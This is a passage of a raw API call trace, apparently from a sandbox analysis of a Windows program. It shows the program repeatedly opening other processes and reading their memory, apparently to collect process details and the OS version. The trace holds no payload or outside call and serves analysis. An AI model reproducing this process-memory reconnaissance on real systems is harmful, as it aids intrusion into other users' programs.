ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.193] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.193] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc51ffb020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.193] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.193] malloc (_Size=0x6c) returned 0x20abc282120 [0276.193] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e190c, lpBuffer=0x20abc282120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0276.194] free (_Block=0x20abc282120) [0276.194] CloseHandle (hObject=0x16c) returned 1 [0276.195] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0276.198] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2228") returned 4 [0276.199] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.199] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0x16c [0276.214] GetLastError () returned 0x0 [0276.215] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.215] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9a9d57f018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.224] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.224] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49003780, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.225] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f490032e8, lpBuffer=0x2dc22fc240, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.226] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.228] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.228] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9a9d57f020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.228] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49002c60, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.229] malloc (_Size=0x118) returned 0x20abc2ac1e0 [0276.229] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49003388, lpBuffer=0x20abc2ac1e0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ac1e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.230] free (_Block=0x20abc2ac1e0) [0276.231] CloseHandle (hObject=0x16c) returned 1 [0276.231] _ui64tow_s (in: _Value=0x92c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2348") returned 0x0 [0276.236] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2348") returned 4 [0276.237] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.237] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.252] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0x16c [0276.253] GetLastError () returned 0x0 [0276.254] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.254] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xbecf55d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.254] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.262] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f03730, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.263] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f032b4, lpBuffer=0x2dc22fc240, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.265] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.267] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.267] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xbecf55d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.281] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f02c20, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.282] malloc (_Size=0x11a) returned 0x20abc284e70 [0276.282] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f0334a, lpBuffer=0x20abc284e70, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0276.284] free (_Block=0x20abc284e70) [0276.285] CloseHandle (hObject=0x16c) returned 1 [0276.285] _ui64tow_s (in: _Value=0x828, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2088") returned 0x0 [0276.288] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2088") returned 4 [0276.289] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.289] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.303] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x828) returned 0x16c [0276.303] GetLastError () returned 0x0 [0276.304] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.304] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6cb0f5b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.305] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.306] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5603490, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.306] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d56030e8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.308] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.310] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.310] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6cb0f5b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.311] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5602ad0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.311] malloc (_Size=0x6a) returned 0x20abc282120 [0276.311] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5603128, lpBuffer=0x20abc282120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0276.312] free (_Block=0x20abc282120) [0276.313] CloseHandle (hObject=0x16c) returned 1 [0276.313] _ui64tow_s (in: _Value=0xf8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="248") returned 0x0 [0276.317] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="248") returned 3 [0276.318] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.318] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.333] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8) returned 0x16c [0276.333] GetLastError () returned 0x0 [0276.334] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.334] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5660c01018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.334] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.334] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361bd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.335] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361818, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.336] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.337] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.337] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5660c01020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.337] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361200, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.338] malloc (_Size=0x64) returned 0x20abc280840 [0276.338] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361864, lpBuffer=0x20abc280840, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0276.338] free (_Block=0x20abc280840) [0276.339] CloseHandle (hObject=0x16c) returned 1 [0276.339] _ui64tow_s (in: _Value=0xa54, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2644") returned 0x0 [0276.344] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2644") returned 4 [0276.348] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.348] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.361] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa54) returned 0x16c [0276.361] GetLastError () returned 0x0 [0276.362] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.362] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x112bab0018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.362] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.363] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b1c80, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.363] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b18c8, lpBuffer=0x2dc22fc240, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.364] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.365] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.365] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x112bab0020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.365] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.366] malloc (_Size=0x72) returned 0x20abc282120 [0276.366] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b1922, lpBuffer=0x20abc282120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0276.366] free (_Block=0x20abc282120) [0276.367] CloseHandle (hObject=0x16c) returned 1 [0276.411] _ui64tow_s (in: _Value=0xa50, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2640") returned 0x0 [0276.414] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2640") returned 4 [0276.415] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x1d63ec4f, dwBuildNumber=0x7ffb, dwPlatformId=0xc22fc7f0, szCSDVersion="-") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.415] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.428] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa50) returned 0x16c [0276.428] GetLastError () returned 0x0 [0276.429] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.429] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ec7242018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.430] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.430] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14b00903510, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.431] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14b0090312a, lpBuffer=0x2dc22fc240, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.432] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.434] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.434] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ec7242020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.434] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14b00902ad0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.435] malloc (_Size=0xd6) returned 0x20abc284e70 [0276.435] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14b00903192, lpBuffer=0x20abc284e70, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0276.436] free (_Block=0x20abc284e70) [0276.437] CloseHandle (hObject=0x16c) returned 1 [0276.437] _ui64tow_s (in: _Value=0x150, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="336") returned 0x0 [0276.442] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="336") returned 3 [0276.443] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.443] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.475] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x150) returned 0x16c [0276.475] GetLastError () returned 0x0 [0276.476] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.476] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3b22cf9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.476] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.477] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa036e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.477] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa03322, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.478] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.480] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.480] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3b22cf9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.480] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa02c70, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.480] malloc (_Size=0xce) returned 0x20abc284e70 [0276.480] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa03378, lpBuffer=0x20abc284e70, nSize=0xcc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0276.481] free (_Block=0x20abc284e70) [0276.482] CloseHandle (hObject=0x16c) returned 1 [0276.482] _ui64tow_s (in: _Value=0xb64, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2916") returned 0x0 [0276.488] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2916") returned 4 [0276.489] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.489] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb64) returned 0x0 [0276.506] CloseHandle (hObject=0x0) returned 0 [0276.506] _ui64tow_s (in: _Value=0x1d0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="464") returned 